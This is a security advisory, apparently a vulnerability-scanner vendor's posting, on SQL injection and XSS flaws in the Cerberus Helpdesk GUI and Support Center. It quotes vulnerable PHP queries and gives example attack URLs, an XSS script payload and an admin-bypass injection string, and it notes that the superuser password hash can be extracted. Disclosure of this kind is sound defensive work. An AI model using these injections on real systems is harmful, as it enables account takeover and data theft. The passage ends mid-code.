First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Cerberus GUI version 2.649  * Cerberus Support Center versions 2.649 up to 3.2.0pr2 Support Center: An SQL injection in attachment_send.php (line 112): You can download files from other users or use blind SQL injection attacks: Example: .../support-center/cerberus-support-center/attachment_send.php?file_id=N [SQL] &thread_id=1 Vulnerable code: $sql = "SELECT part_content FROM thread_attachments_parts WHERE file_id = $file_id"; XSS: http://server/support-center/index.php?mod_id=2& kb_ask=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E Cerberus-gui (parser-related): There are few SQL injections if XML is maliciously generated: 1) SQL injections in email_parser.php: Function: "is_queue_address" (line: 1397) doesn t check properly the "$addy" value. Vulnerable code: $sql = sprintf("SELECT q.queue_name, q.queue_mode, q.queue_email_display_name, ".         "qa.queue_addresses_id, qa.queue_id, qa.queue_address, ".         "qa.queue_domain, q.queue_prefix, q.queue_response_open, ".         "q.queue_send_open, q.queue_response_gated ".         "FROM queue_addresses qa ".         "LEFT JOIN queue q USING (queue_id) ".         "WHERE LOWER(qa.queue_address) = '%s' ".         "AND LOWER(qa.queue_domain) = '%s'",         strtolower($mailbox),         strtolower($domain) Function: "is_banned_address" (line: 752) doesn't check "$address" properly. Vulnerable code: SELECT a.address_banned FROM address a WHERE a.address_address = '".$address."'"; Function: "is_admin_address" (line 1532) you can bypass this function using, as an email address, the following query: "'OR'u.user_superuser'='1'--". Example of result of this query: SELECT u.user_id FROM user u WHERE u.user_email != '' AND u.user_email = '' OR u.user_superuser = '1' Vulnerable code: SELECT u.user_id FROM user u WHERE u.user_email != '' AND u.user_email = '$address'"; 2) SQL injection in structs.php: Function: "cer_email_address_struct" (line: 167) doesn t check the following query. Vulnerable code: $sql = "SELECT a.address_id,a.address_banned FROM address a WHERE a.address_address = '" . $a_address . "'"; Cerberus GUI: 1) SQL injection in cer_KnowledgebaseHandler.class.php: Function: "_load_article_details" (line 270), you can fetch "superuser" md5 password with blind sql injection. Example: /cerberus-gui/knowledgebase.php?mode=view_entry&root=2& sid=c7bb6a0d5f83d61d75053c85c14af247&kbid=4 [SQL] Vulnerable code: $sql = "SELECT k.kb_id, k.kb_entry_date, k.kb_public, k.kb_category_id, k.kb_keywords, kp.kb_problem_summary, kp.kb_problem_text, kp.kb_problem_text_is_html, " . " ks.kb_solution_text, ks.kb_solution_text_is_html, kc.kb_category_name, u.user_login As entry_user, k.kb_avg_rating, k.kb_rating_votes " . " FROM knowledgebase k LEFT JOIN knowledgebase_problem kp ON (kp.kb_id=k.kb_id) LEFT JOIN knowledgebase_solution ks on (ks.kb_id=k.kb_id) ". " LEFT JOIN knowledgebase_categories kc ON (kc.kb_category_id=k.kb_category_id) LEFT JOIN user u ON (k.kb_entry_user=u.user_id) " . " WHERE k.kb_id = " . $kbid; 2) SQL injection in "addresses_export.php": Example: POST: /cerberus-gui/addresses_export.php?sid=c61ce82aa50569705dd774c33644446c& queues%5B%5D=[ SQL ]&delimiter=comma&file_type=screen&form_submit=x Vulnerable code: $sql = "SELECT DISTINCT a.address_address FROM ticket t LEFT JOIN thread th ON (t.min_thread_id=th.thread_id) LEFT JOIN address a ON (th.thread_address_id=a.address_id) WHERE t.ticket_queue_id IN ($queues) ORDER BY a.address_address ASC;"; 3) SQL injection in "display.php". "$thread" is not checked Vulnerable code: $sql = "SELECT th.thread_address_id, a.address_address FROM thread th LEFT JOIN address a ON (th.thread_address_id = a.address_id) ". "WHERE th.thread_id = " . $thread; 4) SQL injection in "display_ticket_thread.php" (line 52): Example: /cerberus-gui/display_ticket_thread.php?type=comment& sid=a640d024f84be01320aacb0ec6c87d74&ticket=[SQL] Vulnerable code: $sql = "SELECT t.ticket_id, t.ticket_subject, t.ticket_status, t.ticket_date, t.ticket_assigned_to_id, t.ticket_queue_id, t.ticket_priority, th.thread_address_id, ad.address_address, t.queue_addresses_id, q.queue_name " .
